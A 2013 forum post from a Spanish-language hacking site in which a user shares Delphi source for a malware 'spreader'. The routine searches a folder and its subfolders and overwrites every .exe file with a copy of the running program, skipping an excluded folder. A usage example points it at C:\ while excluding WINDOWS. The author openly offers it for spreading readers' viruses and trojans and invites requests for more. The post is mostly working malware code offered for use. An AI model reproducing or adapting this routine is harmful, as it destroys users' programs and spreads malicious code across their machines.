elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: 1 [2]
11  Programación / Programación General / Spreader en pascal[APORTE] en: 15 Abril 2013, 00:10 am
Saludos a toda la comunidad.
Acá les dejo un spreader simple que programe en delphi 7.

Explicación
Como dice la descripción infecta la ruta pasa como argumentos y si se desea excluir alguna carpeta de ese directorio como podría ser WINDOWS. Ya que recordemos que si infectamos C:/ podríamos cargarnos todo el sistema y eso no es la idea.

Por si no entendieron la función se puede llamar en cualquier parte de su código tan solo haciendo : __spreader(TStringList, 'RUTA', 'CARPETA A EXCLUIR');

NOTA: este código lo que hace es comprobar si hay .EXE en la ruta y sus subdirectorios y si los hay, los remplaza con el código de su virus/troyano etc...
También es posible hacer un bucle con directorios y subdirectorios para que la función los valla recorriendo e infectando.
No lo puse pero si me lo piden lo agrego.
Comenten!!

Gracias y espero que les sirva: >:D
Código
  1. {/*******************************************\}
  2. {           Spreader @Por WARZ0N3             }
  3. {  Algoritmo de spreading :                   }
  4. {  Infeccion .EXE         : si;               }
  5. {  Propagacion P2P        : si;               }
  6. {  Propagacion USB        : si;               }
  7. {  Propagacion MSN        : no;               }
  8. {  Exclusion de fichero   : si;               }
  9. {/*******************************************\}
  10. { Acerca de...                                }
  11. { Este algoritmo remplaza ejecutables de la   }
  12. { carpeta usada como argumento + sus          }
  13. { directorios subyacentes. Tambien es posible }
  14. { excluir un directorio que no se quiera      }
  15. { infectar.                                   }
  16. {  Ejemplo de uso:                            }
  17. {  __spreader(TStringList, 'ruta', 'dir');    }
  18. {  __spreader(miLista, 'C:/Program Files',    }
  19. {   'WINDOWS');                               }
  20. {/*******************************************\}
  21. {        -Use bajo su propio riesgo!-         }
  22. {           .:: Copyright 2013 ::.            }
  23. {\*******************************************/}
  24. procedure __spreader(lSpr:TSTRINGLIST;  pInit:string; pExclude:string); overload;
  25. var
  26.  spreader, Payload  : TSEARCHREC;
  27.  target             : string;
  28.  i, x               : integer;
  29.  sNULL              : string;
  30. begin
  31. SETCURRENTDIR(pInit);
  32. if FindFirst('*', FaAnyFile, spreader)=0 then
  33. repeat
  34.  if ((spreader.Attr and faAnyFile)<>0)and((spreader.Name)<>'.')
  35. and((spreader.Name)<>'..') then
  36.  begin
  37.    target:= Copy(spreader.Name, 0, Length(spreader.Name));
  38.    if ExtractFileExt(spreader.Name)='.exe' then begin
  39.      CopyFile(pChar(ParamStr(0)), pChar(spreader.Name), FALSE);
  40.    end;
  41.    if DirectoryExists(target) then begin
  42.      lSpr.Add(target);
  43.    end;
  44.    if DirectoryExists(pExclude) then begin
  45.      for x:=0 to lSpr.Count-1 do begin
  46.        lSpr[x]:= StringReplace(lSpr[x], pExclude, '', [rfReplaceAll]);
  47.      end;
  48.    end;
  49.  end;
  50. until FindNext(spreader)<>0;
  51. for i:=0 to lSpr.Count-1 do begin
  52.  SETCURRENTDIR(lSpr[i]);
  53.  if lSpr[i]='' then begin
  54.    SETCURRENTDIR('..');
  55.  end;
  56.  if FindFirst('*.exe', FaAnyFile, Payload)=0 then
  57.  repeat
  58.    CopyFile(pChar(ParamStr(0)), pChar(Payload.Name), FALSE);
  59.  until FindNext(Payload)<>0;
  60.  SETCURRENTDIR('..');
  61. end;
  62. SysUtils.FindClose(spreader);
  63. SysUtils.FindClose(Payload);
  64. end;
  65.  
  66. {/*******************************************\}
  67. {               EJEMPLO DE USO                }
  68. {/*******************************************\}
  69. procedure TForm1.FormCreate(Sender: TObject);
  70. const
  71.  rSPRD : array[0..2] of string=(
  72.  'C:\Archivos de programa\eMule',  'C:\Archivos de programa\Ask.com',
  73.  'C:\Archivos de programa\MSN'
  74.  );
  75. var
  76.  lSpr      : TSTRINGLIST;
  77.  cont      : integer;
  78.  sNULL     : string;
  79. begin
  80. lSpr := TSTRINGLIST.Create;
  81. Application.ProcessMessages;
  82. { Llamado de la funcion spreader }
  83. __spreader(lSpr,
  84.  'C:\',  { Carpeta a infectar }
  85.  'WINDOWS' { Excluir carpeta }
  86.  );
  87. ZeroMemory(@rSPRD, SIZEOF(rSPRD));
  88. end;
  89.  

PD: A los admins, tengo una cuenta vieja (ya no la uso ni entre mas) es Baal.
Si pueden borrarla se los agradecería ;)
Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines